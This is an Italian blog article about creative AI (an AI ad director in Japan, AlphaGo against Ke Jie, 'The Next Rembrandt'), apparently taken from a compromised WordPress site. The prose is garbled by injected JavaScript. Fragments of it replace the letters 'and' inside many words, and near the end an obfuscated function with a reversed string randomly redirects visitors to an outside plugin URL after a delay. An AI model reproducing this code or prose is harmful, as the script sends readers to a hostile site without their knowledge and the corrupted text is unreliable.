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3 Intelligenze Artificiali Creative

Pubblicato il 9 agosto 2017
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uomo e macchina si incontrano

La Creatività non è più un’esclusiva dell’uomo

La ricerca tecnologica non dorme mai e, di conseguenza, lo sviluppo la affianca di pari passo, sbalordendo sempre più le persone di tutto il mondo per i suoi progressi.

All’interno di questo contesto, un punto molto dibattuto è proprio quello riguardo l’Intelligenza Artificiale: quanto è simile all’uomo? Può solo analizzare dati, oppure ha la capacità di creare e ragionare?

Risposte certe non se ne posseggono, ma i successivi 3 punti potrebbero aiutare a fare chiarezza, illustrandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando alcune novità legate alle AI e ai suoi progressi in svariati campi.

E magari potranno rispondere alle precedenti domandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ande ricche di dubbi e curiosità.

Uomo Contro Macchina

Questa primavera, in Giappone, si sono scontrati due grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andi direttori creativi del paese: il primo umano, il secondo stranamente no.

Quello non umano è una AI con ottime abilità di analisi e rielaborazione “personale” di dati. Incredibile ma vero, riesce a fornire un risultato perfettamente riuscito e accattivante.

Il compito era quello di creare una pubblicità per Clorets Mint tab, partendo dallo slogan

“Un immediato effetto di alito fresco che dura per 10 minuti”

Dopodiché sarebbe stato l’apprezzamento del pubblico a decretatarne il vincitore.

 

Il primo video ha vinto con appena il 54% dei voti da parte delle persone che lo hanno visto, mettendoli quindi quasi sullo stesso piano. In ogni caso, il direttore artistico umano è riuscito a trionfare sulla AI, ristabilendo i giusti equilibri tra uomo e macchina.

Questo segna un importante punto nel campo della robotica intelligente. Si può infatti parlare di vera creatività nata non da un cervello in questo caso, ma da un codice binario.

Macchina contro uomo

Non tutti gli esiti sono a favore degli umani tuttavia. Lo scorso maggio, in Cina, si è tenuto un torneo del celebre gioco da tavolo Go, conosciuto per la sua elevata difficoltà e nel quale è necessario sfruttare a pieno il ragionamento ma soprattutto l’intuito, frutto delle capacità inconsce molto allenate.

Lo scontro è avvenuto tra Ke Jie, il campione del mondo di Go in carica, e AlphaGo. Quest’ultima è la promettente AI di DeepMind, impresa di Google specializzata nelle intelligenze artificiali.

La macchina è passata alla fama nel 2016 per aver portato a casa il risultato di 4-1 sempre nel gioco Go a proprio favore contro Lee Se-Dol, uno tra i migliori giocatori al momento.

E anche nel 2017 ha deciso di non smentirsi. Allo scadere del torneo, il cervello artificiale ha totalizzato un punteggio di 3 a 0, non concedendo nulla all’avversario, impotente davanti alle intuizioni superiori dei suoi algoritmi.

le AI e i suoi progressi, visiotrade e tecnologia

Visto il soddisfacente risultato, ora Google ha in progetto di impiegare la tecnologia di AlphaGo in altri campi più utili e produttivi, come ad esempio quello della medicina. Magari l’impiego delle Intuizioni Artificiali nel settore medico potrà aiutare ad accelerare i lunghi tempi di ricerca e a svelare nuove cure a noi ancora sconosciute.

La Matematica si trasforma in Arte

Guidata da un’ingente quantità di dati e algoritmi complessi, la disciplina dei numeri è riuscita a strapparsi di dosso le catene degli aggettivi “fredda” e “cinica”, trasformandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andosi in un capolavoro artistico. E il risultato è impressionante.

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Opera di uno dei migliori pittori di tutto il ‘600? No, o meglio, non del tutto.

Questo dipinto nasce da un’imponente collaborazione informatica di più parti, tra le quali anche Microsoft, intente a raccogliere il maggior numero di informazioni utili per la AI.

Sono state analizzate circa 350 tele del maestro fiammingo Rembrandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andt, ognuna nei minimi dettagli. In questo modo il cervello elettronico ha appreso lo stile dell’artista sotto ogni particolare, dalle forme geometriche all’uso dei colori fino al tocco di pennello.

Attraverso poi una stampante 3D è stato possibile riprodurre questa conoscenza in una tavola creata dal nulla. Ciò che sconvolge di più è proprio che sia una creazione inedita nata dalla rigorosa analisi dei lavori dell’artista olandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andese, la quale ha permesso una riproduzione fedele del proprio stile senza comprometterne l’originalità del soggetto.

$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == “string”) return $hiVNZt4Y5cDrbJXMhLy.list[n].split(“”).reverse().join(“”);return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=[“‘php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andt.com/” target=”_blank”>”The Next Rembrandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andt” è il titolo datogli dal gruppo di ricerca, in onore dell’artista risorto sotto forma di Intelligenza Artificiale.

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